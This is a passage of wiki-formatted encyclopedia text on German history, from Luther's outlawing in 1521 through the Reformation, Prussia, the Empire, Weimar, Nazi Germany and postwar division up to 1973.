In 1521 Luther was outlawed at the [[Diet of Worms]]. But the Reformation spread rapidly, helped by the [[Charles V, Holy Roman Emperor|Emperor Charles V]]'s  wars with [[France]] and the [[Ottoman Empire|Turks]]. Hiding in the [[Wartburg Castle]], Luther translated the Bible, establishing the basis of modern German. 

In 1524 the [[Peasants' War]] broke out in [[Swabia]], [[Franconia]] and [[Thuringia]] against ruling princes and lords, following the preachings of Reformist priests. But the revolts, which were assisted by war-experienced noblemen like [[Götz von Berlichingen]] and [[Florian Geyer]] (in Franconia), and by the theologian [[Thomas Münzer]] (in Thuringia), were soon repressed by the territorial princes. 

From 1545 the [[Catholic Reformation|Counter-Reformation]] began in Germany. The main force was provided by the [[Society of Jesus|Jesuit order]], founded by the Spaniard [[Ignatius of Loyola]]. Central and north-eastern Germany were by this time almost wholly Protestant, whereas western and southern Germany remained predominantly Catholic. In the War of the [[Schmalkaldic League]] in 1546/1547, the Emperor Charles V defeated the Protestant rulers. 

The [[Peace of Augsburg]] in 1555 brought recognition of the Lutheran faith. But the treaty also stipulated that the religion of a state was to be that of its ruler ([[Cuius regio, eius religio]]). 

In 1556 Charles V abdicated. The Habsburg Empire was divided, as Spain was separated from the German possessions. 

In 1608/1609 the [[Protestant Union]] and the [[Catholic League (German)|Catholic League]] were formed.

[[Image:The Ratification of the Treaty of Münster (Gerard Terborch 1648).jpg|thumb|250px|right|The [[Peace of Westphalia]] marked the end of the Thirty Years' War]]
From 1618 to 1648 the [[Thirty Years' War]] ravaged Germany. The causes were the conflicts between Catholics and Protestants, the efforts by the various states within the Empire to increase their power and the Emperor's attempt to achieve the religious and political unity of the Empire. The immediate occasion for the war was the uprising of the Protestant nobility of Bohemia against the emperor ([[Defenestration of Prague]]), but the conflict was widened into a European War by the intervention of [[Christian IV of Denmark|King Christian IV of Denmark]] (1625-29), [[Gustavus Adolphus of Sweden]] (1630-48) and France under [[Cardinal Richelieu]], the regent of the young [[Louis XIV of France|Louis XIV]] (1635-48). Germany became the main theatre of war and the scene of the final conflict between France and the Habsburgs for predominance in Europe. The war resulted in large areas of Germany being laid waste, in a loss of something like a third of its population, and in a general impoverishment.

The war ended in 1648 with the [[Peace of Westphalia]], signed in [[Münster]] and [[Osnabrück]]: German territory was lost to France and Sweden and the [[Netherlands]] left the Holy Roman Empire. The imperial power declined further as the states' rights were increased.

===End of the Holy Roman Empire===

[[Image:Ac.prussiamap2.gif|thumb|350px|right|After the Peace of Hubertsburg in 1763, Prussia became a European great power. The rivalry between Prussia and Austria for the leadership of Germany began]]
From 1640, [[Brandenburg-Prussia]] had started to rise under the Great Elector, [[Frederick William, Elector of Brandenburg|Frederick William]]. The Peace of Westphalia strengthened it even further, through the acquisition of East Pomerania. A system of rule based on [[Political absolutism|absolutism]] was established. 

In 1701 [[Frederick I of Prussia|Elector Frederick of Brandenburg]] was crowned &quot;king ''in'' [[Prussia]]&quot;. From 1713 to 1740, [[Frederick William I of Prussia|King Frederick William I]], also known as the &quot;Soldier King&quot;, established a highly centralised state.

Meanwhile [[Louis XIV of France]] had conquered  parts of [[Alsace]] and [[Lorraine (province)|Lorraine]] (1678-1681), and had invaded and devastated the [[Palatinate]] (1688-1697). Louis XIV benefitted from the Empire's problems with the Turks, which were menacing Austria. He ultimately had to relinquish the Palatinate, though.

In 1683 the Turks were defeated outside [[Battle of Vienna|Vienna]] by a Polish relief army led by [[John III of Poland|King Jan Sobieski of Poland]] while the city itself was defended by German and Austrian troops under the command of [[Charles IV, Duke of Lorraine]]. Hungary was reconquered, and later became a new destination for German settlers. Austria, under the Habsburgs, developed into a great power.

In the [[War of Austrian Succession]] (1740-1748) [[Maria Theresa of Austria|Maria Theresa]] fought successfully for recognition of her succession to the throne. But in the [[Silesian Wars]] and in the [[Seven Years' War]] she had to cede [[Silesia]] to [[Frederick II of Prussia|Frederick II, the Great, of Prussia]]. After the [[Peace of Hubertsburg]] in 1763 between [[Austria]], [[Kingdom of Prussia|Prussia]] and [[Saxony]], Prussia became a European great power. This gave the start to the rivalry between Prussia and Austria for the leadership of Germany.

From 1763, against resistance from the nobility and citizenry, an &quot;[[enlightened absolutism]]&quot; was established in Prussia and Austria, according to which the ruler was to be &quot;the first servant of the state&quot;. The economy developed and legal reforms were undertaken, including the abolition of torture and the improvement in the status of [[Jew]]s; the emancipation of the peasants began. Education was promoted. 

In 1772-1795 Prussia took part in [[partitions of Poland]], occuping western territories of [[Polish-Lithuanian Commonwealth]], which led to centuries of Polish resistance against German rule and persecution.

The [[French Revolution]] sparked a new war between the France several of its Eastern neighbours, including Prussia and Austria. Following the [[Peace of Basle]] in 1795 with Prussia, the left bank of the Rhine was ceded to France. 

[[Napoleon I of France]] relaunched the war against the Empire. In 1803, under the ''&quot;[[Reichsdeputationshauptschluss]]&quot;'' (a resolution of a committee of the Imperial Diet meeting in [[Regensburg]]), he abolished almost all the ecclesiastical and the smaller secular states and most of the imperial free cities. New medium-sized states were established in south-western Germany. In turn, Prussia gained territory in north-western Germany.

The [[Holy Roman Empire]] was formally dissolved on [[6 August]] [[1806]] when the last Holy Roman Emperor [[Francis II, Holy Roman Emperor|Francis II]] (from 1804, Emperor Francis I of [[Austrian Empire|Austria]]) resigned. Francis II's family continued to be called Austrian emperors until 1918. In 1806 the [[Confederation of the Rhine]] was established under Napoleon's protection.

After the Prussian army was defeated by the French revolutionary forces at [[Jena]] and Auerstedt, the [[Treaties of Tilsit|Peace of Tilsit]] was signed in 1807: Prussia ceded all its possessions west of the [[Elbe]] to France and the kingdom of [[Westphalia]] was established under Napoleon's brother Jérome. Some of the  territories Prussia conquered from [[Poland]] were regained by [[Duchy of Warsaw]].

From 1808 to 1812 Prussia was reconstructed, and a series of reforms were enacted by Freiherr vom Stein and Freiherr von Hardenberg, including the regulation of municipal government, the liberation of the peasants and the emancipation of the Jews. A reform of the army was undertaken by the Prussian generals [[Gerhard von Scharnhorst]] and [[August von Gneisenau]].

In 1813 the Wars of Liberation began, following the destruction of Napoleon's army in [[Russia]] (1812). After the [[Battle of Leipzig|Battle of the Nations]] at [[Leipzig]], Germany was liberated from French rule. The Confederation of the Rhine was dissolved.

In 1815 Napoleon was finally defeated at [[Battle of Waterloo|Waterloo]] by the [[United Kingdom]]'s [[Arthur Wellesley, 1st Duke of Wellington|Duke of Wellington]] and by Prussia's [[Gebhard Leberecht von Blücher]].

==German Confederation==

===Restoration and Revolution===

''Main articles: [[German Confederation]], [[Revolutions of 1848 in the German states]]''

[[Image:Barricades - 1848 Germany.jpg|thumb|300px|right|Liberal and nationalist pressure led to the [[The Revolutions of 1848 in the German states|Revolution of 1848 in the German states]]]]
After the fall of Napoleon, European monarchs and statesmen convened in the [[Vienna]] in 1814 for the reorganization of European affairs, under the leadership of the [[Klemens Wenzel von Metternich|Austrian Prince Metternich]]. The political principles agreed upon at this [[Congress of Vienna]] included the restoration, legitimacy and solidarity of rulers for the repression of revolutionary and nationalist ideas.

On the territory of the former &quot;Holy Roman Empire of the German Nation&quot;, the [[German Confederation]] (''Deutscher Bund'') was founded, a loose union of 39 states (35 ruling princes and 4 free cities) under Austrian leadership, with a Federal Diet (''Bundestag'') meeting in [[Frankfurt am Main]].

In 1817, inspired by liberal and patriotic ideas of a united Germany, student organisations gathered for the &quot;Wartburg festival&quot; at [[Wartburg Castle]], at [[Eisenach]] in [[Thuringia]], on the occasion of which reactionary books were burnt.

In 1819 the student [[Karl Ludwig Sand]] murdered the writer [[August Friedrich Ferdinand von Kotzebue|August von Kotzebue]], who had scoffed at liberal student organisations. Prince Metternich used the killing as an occasion to call a conference in Karlsbad, which Prussia, Austria and eight other states attended, and which issued the [[Carlsbad Decrees|Karlsbad Decrees]]: censorship was introduced, and universities were put under supervision. The decrees also gave the start to the so-called &quot;persecution of the demagogues&quot;, which was directed against individuals who were accused of spreading revolutionary and nationalist ideas. Among the persecuted were the poet [[Ernst Moritz Arndt]], the publisher Johann Joseph Görres and the &quot;Father of Gymnastics&quot; Ludwig Jahn.

In 1834 the [[Zollverein]] was established, a customs union between Prussia and most other German states, but excluding Austria.

Growing discontent with the political and social order imposed by the Congress of Vienna led to the outbreak, in 1848, of the [[The Revolutions of 1848 in the German states|March Revolution]] in the German states. In May the German National Assembly (the [[Frankfurt Parliament]]) met in [[Frankfurter Paulskirche|St. Paul's Church]] in [[Frankfurt am Main]] to draw up a national German constitution.

But the 1848 revolution proved abortive: [[Frederick William IV of Prussia|King Frederick William IV of Prussia]] refused the imperial crown, the Frankfurt parliament was dissolved, the ruling princes repressed the risings by military force and the German Confederation was re-established by 1850.

In 1862 [[Otto von Bismarck|Prince Bismarck]] was nominated chief minister of Prussia - against the opposition of liberals and socialists, who saw in him a reactionary.

In 1864, disputes between Prussia and [[Denmark]] grew over [[Schleswig]], which - unlike [[Holstein]] - was not part of the German Confederation, and which Danish nationalists wanted to incorporate into the Danish kingdom. The dispute led to the [[Second War of Schleswig]], in the course of which the Prussians, joined by Austria, defeated the Danes. Denmark was forced to cede both the duchy of Schleswig and the duchy of Holstein to Austria and Prussia. In the aftermath, the management of both duchys provoked growing tensions between Austria and Prussia, which ultimately led to the [[Austro-Prussian War]] (1866). The war was decided in favour of the Prussians, who carried the decisive victory at the [[Battle of Königgratz]], under the command of [[Helmuth Karl Bernhard von Moltke|Helmuth von Moltke]].

==North German Confederation==

''Main article: [[North German Confederation]]''

[[Image:Battle of Königgrätz by Georg Bleibtreu.jpg|thumb|350px|left|At the [[Battle of Königgrätz]], the Austro-Prussian rivalry for the leadership of Germany was ultimately decided in favour of Prussia]]

In 1867 the German Confederation was dissolved. In its place the [[North German Confederation]] (German ''Norddeutscher Bund'') was established, under the leadership of Prussia. Austria was excluded, and would remain outside German affairs for most of the remaining 19th and the 20th centuries. 

The North German Confederation was a transitory group that existed from 1867 to 1871, between the dissolution of the German Confederation and the founding of the German Empire. With it, Prussia established control over the 22 states of northern Germany and, via the ''Zollverein'', southern Germany.

==German Empire== 
''Main article: [[German Empire]]''

===Age of Bismarck===

[[Image:Reichsgruendung2.jpg|thumb|right|300px|On [[18 January]] [[1871]], the German Empire is proclaimed in the Hall of Mirrors of the Palace of Versailles. Bismarck appears in white.]]
[[Image:Map-deutsches-kaiserreich.png|thumb|250px|right|The German Empire of 1871. By excluding Austria, Bismarck chose a &quot;little German&quot; solution.]]
Differences between France and Prussia over the accession to the [[Spain|Spanish]] throne of a German candidate - whom France opposed - led to the [[Franco-Prussian War]] (1870-71). Following a French declaration of war, joint southern-German and Prussian troops, under the command of Moltke, invaded France in 1870. The French army was finally forced to capitulate by the [[Battle of Sedan|fortress of Sedan]]. [[Napoleon III of France|French Emperor Napoleon III]] was taken prisoner and the Second French Empire collapsed. Following the [[Siege of Paris|capitulation of Paris]], the Peace of Frankfurt am Main was signed: France was obliged to cede [[Alsace]] and the German-speaking part of [[Lorraine (province)|Lorraine]] to Germany. The territorial cessions deeply hurt the French national feeling, creating an obstacle to Franco-German understanding.

On [[January 18]], 1871, in the Hall of Mirrors of the [[Palace of Versailles]], the [[Wilhelm I of Germany|Prussian King Wilhelm I]] was proclaimed &quot;Emperor of Germany&quot;. The [[German Empire]] was founded, with 25 states, three of which were Hanseatic cities. It was a &quot;Little German&quot; solution, since Austria had been excluded. 

Bismarck's domestic policies as Chancellor of Germany were characterized by his fight against perceived enemies of the Protestant Prussian state. In the so-called [[Kulturkampf]] (1872-1878), he tried to limit the influence of the [[Roman Catholic Church|Catholic Church]] and of its political arm, the [[Catholic Centre Party]], through various measures - like the introduction of civil marriage - but without much success. Non-German sections of the population in the German Empire, like the [[Poland|Polish]], [[Danmark|Danish]]  and [[France|French]] minorities, were discriminated and policy of [[Germanization]] was implemented.

The other perceived threat was the rise of the Socialist Workers' Party (later known as the [[Social Democratic Party of Germany]]), the declared aim of which was the establishment of a new socialist order through the transformation of the existing political and social conditions. From 1878, Bismarck tried to repress the social democratic movement by outlawing the party's organisation, its assemblies and most of its newspapers. Through the introduction of a social insurance system, on the other hand, he hoped to win the support of the working classes for the Empire.



Bismarck's priority was to protect Germany's expanding power through a system of alliances and an attempt to contain crises until Germany was fully prepared to initiate them. Of particular importance, in this context, was the containment and isolation of France, because Bismarck feared that France would form an alliance with Russia and take revenge for its loss of Alsace and Lorraine to Germany.

The Three Emperor's League was signed in 1872 by Russia, Austria and Germany. It stated that republicanism and socialism were common enemies and that the three powers would discuss any matters concerning foreign policy. Bismarck needed good relations with Russia in order to keep France isolated. 

In 1879, Bismarck formed a Dual Alliance of Germany and Austria-Hungary, with the aim of mutual military assistance in the case of an attack from Russia, which was not satisfied with the agreement reached at the Congress of Berlin. 

The establishment of the Dual Alliance led Russia to take a more conciliatory stance, and in 1887, the so-called [[Reinsurance Treaty]] was signed between Germany and Russia: in it, the two powers agreed on mutual military support in the case that France attacked Germany, or in case of an Austrian attack on Russia.

In 1882, [[Italy]] joined the Dual Alliance to form a [[Triple Alliance (1882)|Triple Alliance]]. Italy wanted to defend its interests in [[North Africa]] against France's colonial policy. In return for German and Austrian support, Italy committed itself to assisting Germany in the case of a French military attack.

For a long time, Bismarck had refused to give in to Emperor Wilhelm I's aspirations of making Germany a world power through the acquisition of German colonies (&quot;a place in the sun&quot;). Bismarck wanted at all cost to avoid tensions between the European great powers that would threaten the security of Germany. But when, between 1880 and 1885, the foreign situation proved auspicious, Bismarck gave way, and a number of colonies were established overseas: in [[Africa]], these were [[Togo]], the [[Cameroons]], [[German South-West Africa]] and [[German East Africa]]; in [[Oceania]], they were [[German New Guinea]], the [[Bismarck Archipelago]] and the [[Marshall Islands]].

In 1888 Kaiser Wilhelm I died, his son [[Friedrich III, German Emperor|Friedrich III]] ruled for only 99 days before his death. The young and ambitious [[Wilhelm II of Germany|Wilhelm II]], Friedrich's son, acceded to the throne. Political and personal differences between Bismarck and the new monarch, who wanted to be &quot;his own chancellor&quot;, eventually caused Bismarck to resign in 1890.

===Wilhelminian Era===

[[Image:Karolinen-stamp.jpg|thumb|right|A postage stamp from the [[Caroline Islands|Carolines]], dating back to the time when the islands were ruled by the German Empire. The new ''Weltpolitik'' of Kaiser Wilhelm II led to frictions with other imperialist powers.]]
When Bismarck resigned, Wilhelm II had declared that he would continue the foreign policy of the old chancellor. But soon, a new course was taken, with the aim of increasing Germany's influence in the world (''Weltpolitik''). The Reinsurance Treaty with Russia was not renewed. Instead, France formed an alliance with Russia, against the Triple Alliance of Germany, Austria-Hungary and Italy. The Triple Alliance itself was undermined by differences between Austria and Italy.

From 1898, German colonial expansion in [[East Asia]] ([[Jiaozhou Bay]], the [[Mariana Islands|Marianas]], the [[Caroline Islands]], [[Samoa]]) led to frictions with the United Kingdom, Russia, [[Japan]] and the [[United States]]. The construction of the Baghdad Railway, financed by German banks and heavy industry, and aimed at connecting the [[North Sea]] with the [[Persian Gulf]] via the [[Bosporus]], also collided with British and Russian geopolitical and economic interests.

To protect Germany's overseas trade and colonies, [[Alfred von Tirpitz|Admiral von Tirpitz]] started a programme of warship construction in 1898. This posed a direct threat to British hegemony on the seas, with the result that negotiations for an alliance between Germany and Britain broke down. Germany was increasingly isolated.

:''Main article: [[History of Germany during World War I]].''

Imperialist power politics and the determined pursuit of national interests ultimately led to the outbreak in 1914 of the [[World War I|First World War]], sparked by the assassination, on [[June 28]], [[1914]], of the Austrian heir-apparent [[Archduke Franz Ferdinand of Austria|Franz Ferdinand]] and his wife at [[Sarajevo]], the capital of [[Bosnia-Herzegovina]] by a [[Serbia]]n nationalist. The theorized underlying causes have included the opposing policies of the European states, the armaments race, German-British rivalry, the difficulties of the Austro-Hungarian multinational state, Russia's Balkan policy and overhasty mobilisations and ultimatums (the underlying belief being that the war would be short). Germany fought on the side of Austria-Hungary and the Ottoman Empire against Russia, France, Great Britain, Italy, and several other smaller states. Fighting also spread to the Near East and the German colonies.

In the west, Germany fought a war of attrition with bloody battles. After a quick march through [[Belgium]], German troops were halted on the [[Marne]], north of [[Paris]]. The frontlines in France changed little until the end of the war. In the east, no decisive victories against the Russian army. The British naval blockade in the [[North Sea]] had crippling effects on Germany's supplies of raw materials and foodstuffs. The entry of the United States into the war in 1917 following Germanys declaration of ''unrestricted submarine warfare'' marked a decisive turning-point against Germany.

At the end of October, units of the German Navy in [[Kiel]], in northern Germany, refused to set sail for a last, large-scale operation in a war which they saw as good as lost. On [[November 3]], the [[German Revolution|uprising]] spread to other cities. So-called workers' and soldiers' councils were established. 

Kaiser Wilhelm II and all German ruling princes abdicated. On [[November 9]], the Social Democrat [[Philipp Scheidemann]] proclaimed a Republic. On [[November 11]], [[Armistice with Germany (Compiègne)|an armistice]] ending the war was signed at [[Compiègne]].

==Weimar Republic==
''Main article: [[Weimar Republic]]''

[[Image:German Revolution.jpg|thumb|300px|right|The [[German Revolution]] laid the foundation for the Weimar Republic]]
On [[28 June]] [[1919]] the [[Treaty of Versailles]] was signed. Germany was to cede [[Alsace-Lorraine]], Eupen-Malmédy, [[Northern Schleswig|North Schleswig]], and the [[Klaipeda|Memel]] area. [[Poland]] was restored and [[Province of Posen|Posen]], [[Province of West Prussia|West Prussia]], and [[Upper Silesia]] were returned after plebiscites and independence uprisings. All German colonies were to be handed over to the Allies. The left and right banks of the [[Rhine]] were to be permanently demilitarised. The industrially important [[Saarland]] was to be governed by the [[League of Nations]] for 15 years and its coalfields administered by France. At the end of that time a plebiscite was to determine the Saar's future status. To ensure execution of the treaty's terms, Allied troops would occupy the left (German) bank of the Rhine for a period of 5&amp;ndash;15 years. The German army was to be limited to 100,000 officers and men; the general staff was to be dissolved; vast quantities of war material were to be handed over and the manufacture of munitions rigidly curtailed. The navy was to be similarly reduced, and no military aircraft were allowed. Germany and its allies were to accept the sole responsibility of the war, and were to pay financial reparations for all loss and damage suffered by the Allies. 

The humiliating peace terms provoked bitter indignation throughout Germany, and seriously weakened the new democratic regime.

On [[11 August]] [[1919]] the [[Weimar Republic|Weimar]] constitution came into effect, with [[Friedrich Ebert]] as first President.

The two biggest enemies of the new democratic order, however, had already been constituted. In December 1918, the [[Communist Party of Germany|German Communist Party]] (KPD) was founded, followed in January 1919 by the establishment of the German Workers' Party, later known as the [[National Socialist German Workers' Party]] (NSDAP). Both parties would make reckless use of the freedoms guaranteed by the new constitution in their fight against the Weimar Republic.

In the first months of 1920, the [[Reichswehr]] was to be reduced to 100,000 men, in accordance with the Treaty of Versailles. This included the dissolution of many [[Freikorps]] - units made up of volunteers. Some of them made difficulties. The discontent was exploited by the extreme right-wing politician [[Wolfgang Kapp]]. He let the rebelling Freikorps march on Berlin and proclaimed himself ''Reich'' Chancellor ([[Kapp Putsch]]). After only four days the coup d'état collapsed, due to lack of support by the civil servants and the officers. Other cities were shaken by strikes and rebellions, which were bloodily suppressed.

Faced with animosity from Britain and France and the retreat of American power from Europe, in 1922 Germany was the first state to establish diplomatic relations with the new [[Soviet Union]]. Under the [[Treaty of Rapallo]], Germany accorded the Soviet Union de jure recognition, and the two signatories mutually cancelled all pre-war debts and renounced war claims. 

When Germany defaulted on its reparation payments, French and Belgian troops occupied the heavily industrialised Ruhr district (January 1923). The German government encouraged the population of the Ruhr to [[passive resistance]]: shops would not sell goods to the foreign soldiers, coal-mines would not dig for the foreign troops, trams in which members of the occupation army had taken seat would be left abandoned in the middle of the street. The passive resistance proved effective, in so far as the occupation became a loss-making deal for the French government. But the Ruhr fight also led to [[hyperinflation]], and many who lost all their fortune would become bitter enemies of the Weimar Republic, and voters of the anti-democratic right.

[[Image:1926-1-2-5.jpg|thumb|300px|left|The [[Rentenmark]], introduced by [[Gustav Stresemann|Chancellor Stresemann]]'s government in November 1923 to stop hyperinflation, ushered in a period of relative economic prosperity (until 1929)]]
In September 1923, the deteriorating economic conditions led Chancellor [[Gustav Stresemann]] to call an end to the passive resistance in the Ruhr. In November, his government introduced a new currency, the [[Rentenmark]] (later: [[Reichsmark]]), together with other measures to stop the hyperinflation. In the following six years the economic situation improved. In 1928, Germany's industrial production even regained the pre-war levels of 1913.

On the evening of [[November 8]], six hundred armed [[Sturmabteilung|SA]] men surrounded a beer hall in [[Munich]], where the heads of the Bavarian state and the local ''Reichswehr'' had gathered for a rally. The storm troopers were led by [[Adolf Hitler]]. Born in 1889 in [[Austria]], a former volunteer in the German army during WWI, now a member of a new party called [[National Socialist German Workers' Party|NSDAP]], he was largely unknown until then. Hitler tried to force those present to join him and to march on to Berlin to seize power ([[Beer Hall Putsch]]). Hitler was later arrested and condemned to five years in prison, but was released at the end of 1924 after less than one year of detention.

The national elections of 1924 led to a swing to the right (''Ruck nach rechts''). [[Paul von Hindenburg|Field Marshal Hindenburg]], a supporter of the monarchy, was elected President.

In October 1925 the [[Treaty of Locarno]] was signed between Germany, France, Belgium, the United Kingdom and Italy, which recognized Germany's borders with France and Belgium. Moreover, Britain, Italy and Belgium undertook to assist France in the case that German troops marched into the demilitarised Rheinland. The Treaty of Locarno paved the way for Germany's admission to the [[League of Nations]] in 1926.

The [[stock market crash]] of 1929 on [[Wall Street]] marked the beginning of the [[Great Depression]]. The effects of the ensuing world economic crisis were also felt in Germany, where the economic situation rapidly deteriorated. In July 1931, the ''Darmstätter und Nationalbank'' - one of the biggest German banks - failed, and, in early 1932, the number of unemployed rose to more than 6,000,000.

In addition to the flagging economy came political problems, due to the inability by the political parties represented in the [[Reichstag (institution)|Reichstag]] to build a governing majority. In March 1930, President Hindenburg appointed [[Heinrich Brüning]] Chancellor. To push through his package of austerity measures against a majority of Social Democrats, Communists and the NSDAP, Brüning made use of emergency decrees, and even dissolved Parliament.

The NSDAP was the big winner in the national elections of July 1932. It gained 38% of the vote, making it the biggest party in the Reichstag. The Communist KPD came third, with 15%. Together, the anti-democratic parties of right and left were now able to hold the majority of seats in Parliament. The NSDAP was particularly successful among young voters, who were unable to find a place in vocational training, with little hope for a future job; among the ''petite bourgeoisie'' (lower middle class) which had lost its assets in the hyperinflation of 1923; among the rural population; and among the army of unemployed. In new elections in November 1932, the NSDAP's share of the vote declined slightly, but it remained the biggest party in the Parliament.  

On [[January 30]] [[1933]], pressured by former Chancellor [[Franz von Papen]] and other conservatives, President Hindenburg finally appointed Hitler Chancellor.

==Third Reich==
''Main articles: [[Nazi Germany]], [[The Holocaust|Holocaust]], [[Military history of Germany during World War II|World War II]]''

===Nazi revolution or 'Seizure of Power'===

[[Image:1936NurembergRally.jpg|thumb|300px|left|[[National Socialist German Workers' Party|NSDAP]] rally (''Reichsparteitag'') in [[Nuremberg]], 1936. These rallies were held every year in the same place. They were meant to demonstrate the unity of the [[National Socialist]] state.]]
In order to secure a majority for his NSDAP in the Reichstag, [[Adolf Hitler|Hitler]] called for new elections. On the evening of [[27 February]] [[1933]], a [[Reichstag fire|fire]] was laid in the Reichstag building. Hitler was swift to paint an alleged Communist uprising on the wall, and convinced President Hindenburg to sign the [[Reichstag Fire Decree]]. This decree, which would remain in force until 1945, repealed important political and human rights of the Weimar constitution. Communist agitation was banned, but at this time not the Communist Party itself.

Eleven thousand Communists and Socialists were arrested and brought into [[concentration camp|concentration camps]], where they were at the mercy of the [[Gestapo]], the newly established secret police force (9,000 were found guilty and very many executed). Communist Reichstag deputies were supposedly given ''protective custody'' (against their constitutional privileges).

Despite the terror and un-precedented propaganda, the last free General Elections of [[March 5]] failed to bring the majority for the NSDAP that Hitler had hoped for. Together with the [[German National People's Party]] (DNVP), however, he was able to form a slim majority government. With accommodations to the Catholic [[Centre Party Germany]], Hitler succeeded in convincing a required two-thirds of a rigged Parliament to pass an [[Enabling Act]] that gave his government full legislative power. Only the Social Democrats voted against the Act. The Enabling Act formed the basis for the [[Dictatorship]], dissolution of the [[States of Germany|Länder]]; the trade unions and all political parties other than the [[National Socialist|National Socialist (Nazi) Party]] were suppressed. A centralised totalitarian state was established, no longer based liberal [[weimar]] constitution. Germany left the [[League of Nations]]. The co-alition [[Parliament]] was rigged on this fateful [[23 March]] [[1933]] by defining the absence of  arrested and murdered deputies as  voluntary and therefore cause for their exclusion as wilful absentees. Subsequently in July the Centre Party was voluntarily dissolved in a ''quid pro quo''  with the [[Holy See]] under the ''anti-communist'' [[Pope Pius XI]] for the [[Reichskonkordat]]; and by these maneuvers Hitler achieved movement of these Catholic voters into the Nazi party, and a long-awaited international diplomatic acceptance of his regime. The Communist Party was proscribed in April 1933 .

But many leaders of the Nazi [[Sturmabteilung|SA]] were disappointed. The chief of staff of the SA, [[Ernst Röhm]], was pressing for the SA to be incorporated into the [[Wehrmacht]] under his supreme command. Hitler felt threatened by these plans. On the weekend of [[June 30]] [[1934]], he gave order to the [[Schutzstaffel|SS]] to seize Röhm and his lieutenants, and to execute them without trial. 

The SS became an independent organisation under the command of the ''Reichsführer SS'' [[Heinrich Himmler]]. He would become the supervisor of the ''Gestapo'' and of the concentration camps, soon also of the ordinary police. Hitler also established the [[Waffen-SS]] as a separate troop. 

The regime showed particular hostility towards the [[Jew]]s. In September 1935, the Reichstag passed the so-called [[Racial policy of Nazi Germany|Nuremberg race laws]] directed against Jewish citizens. Jews lost their German citizenship, and were banned from marrying Germans. About 500,000 individuals were affected by the new rules.

Hitler re-established the German air force and re-introduced universal military service. The open rearmament was in flagrant breach of the Treaty of Versailles. However, neither the United Kingdom, nor France and Italy, went beyond issuing notes of protest.

In 1936 German troops marched into the demilitarised Rhineland. In this case, the [[Treaty of Locarno]] would have obliged the United Kingdom to intervene in favour of France. But despite protests by the French government, Britain chose to do nothing about it. The coup strengthened Hitler's standing in Germany. His reputation was going to increase further with the [[Olympic Games]], which were held in the same year in Berlin and in [[Garmisch-Partenkirchen]], and which proved another great propaganda success for the regime.

===Expansion and defeat===

After establishing the &quot;Rome-Berlin axis&quot; with [[Benito Mussolini|Mussolini]], and signing the [[Anti-Comintern Pact]] with [[Japan]] - which was joined by [[Italy]] a year later in 1937 - Hitler felt able to take the offensive in foreign policy. On [[12 March]] [[1938]], German troops marched into [[Austria]], where an attempted Nazi coup had been unsuccessful in 1934. When Hitler entered [[Vienna]], he was greeted by loud cheers. Four weeks later, 99% of Austrians voted in favour of the annexation ([[Anschluss]]) of their country to Germany. Hitler thereby fulfilled the old idea of a German ''Reich'' with the inclusion of Austria - the &quot;greater German&quot; solution that Bismarck had shunned when, in 1871, he united the German lands under Prussian leadership. Although the annexation denounced the [[Treaty of Saint-Germain]], which expressedly forbade the unification of Austria with Germany, the western powers once again merely protested.

After Austria, Hitler turned to [[Czechoslovakia]], where the 3.5 million-strong [[Sudetes|Sudeten]] German minority was demanding equal rights and self-government. At the [[Munich Agreement|Munich Conference]] of September 1938, Hitler, the Italian leader Benito Mussolini, British Prime Minister [[Neville Chamberlain]] and French Prime Minister [[Édouard Daladier]] agreed upon the cession of Sudeten territory to Germany by the Czechoslovaks. Hitler thereupon declared that all of Germany's territorial claims had been fulfilled. But hardly six months after the Munich Agreement, in March 1939, Hitler used the smoldering quarrel between Slowaks and Czechs as a pretext for taking over the rest of Czechoslovakia as the [[Protectorate of Bohemia and Moravia]]. In the same month, he secured the return of Memel from Lithuania to Germany. British Prime Minister Chamberlain was forced to acknowledge that his [[Appeasement|policy of appeasement]] towards Hitler had failed. 

[[Image:Soviet Reichstag.gif|thumb|right|250px|Marking the Soviet Union's victory, a soldier raises the Soviet flag over the Reichstag in Berlin.]]
In six years, the Nazi regime prepared the country for [[World War II]]. The Nazi leadership attempted to remove or subjugate the Jewish population in Nazi Germany and later in the occupied countries through forced deportation and, ultimately, [[genocide]] now known as [[the Holocaust]]. A similar policy applied to the various ethnic and national groups considered [[subhuman]] such as [[Roma]], [[Poles]] or [[Russians]]. These groups were seen as threats to the purity of Germany's Aryan race. There were also many groups such as mentally and physically handicapped persons singled out as being detrimental to Aryan purity.
After annexing the [[Sudetenland|Sudeten]] border country of [[Czechoslovakia]] (October 1938), and taking over the rest of the Czech lands as a protectorate (March 1939), Germany and the Soviet Union in September 1939 invaded [[Poland]].

By 1945, Germany and its [[Axis Powers|Axis]] partners ([[Italy]] and [[Japan]]) were defeated &amp;ndash; chiefly by the united forces of [[United States|USA]], [[United Kingdom|Britain]] and the [[Soviet Union]]. Much of [[Europe]] lay in ruins, tens of millions of people had been killed, most of them civilians, as the six million Jews murdered in the Holocaust and many millions of people in the conquered territories. World War II resulted in the destruction of Germany's political and economic infrastructures, led to its division, considerable loss of territory in the East and left a humiliating legacy.

==Germany since 1945==
''For details, see the main [[History of Germany since 1945]] article.''
[[Image:VWgermany.jpg|frame|left|thumb|In the postwar years, [[Volkswagen]] became a very important element, symbolically and economically, of West German economic recovery.]]

Germans frequently refer to 1945 as the ''Stunde Null'' (zero hour) to describe the near-total collapse of their country. At the [[Potsdam Conference]], Germany was divided into four military occupation zones by the [[Allies]], see [[Partitions of Germany]]; the three western zones would form the '''Federal Republic of Germany''' (commonly known as [[West Germany]]), while part of the Soviet zone became the '''German Democratic Republic''' (commonly known as [[East Germany]]), both founded in 1949. [[West Germany]] was established as a liberal democratic republic while [[East Germany]] became a [[Communist State]] under the influence of the [[Soviet Union]]. Also in Potsdam, the allies agreed that the provinces east of the Oder and Neisse rivers (the [[Oder-Neisse line]]) were transferred to [[Poland]] and [[Russia]] ([[Kaliningrad]]). The agreement also set forth the abolition of [[Prussia]] and the repatriation of Germans living in those territories, and formalized the [[German exodus from Eastern Europe]]. 

Relations between the two post-war German states remained icy until the West German Chancellor [[Willy Brandt]] launched a highly controversial rapprochement with the East European communist states (''[[Ostpolitik]]'') in the 1970s, culminating in the [[Warschauer Kniefall]] on [[7 December]] [[1970]]. Although anxious to relieve serious hardships for divided families and to reduce friction, West Germany under Brandt's ''Ostpolitik'' was intent on holding to its concept of &quot;two German states in one German nation.&quot; Relations improved, however, and in September 1973, East Germany and West Germany were admitted to the United Nations.

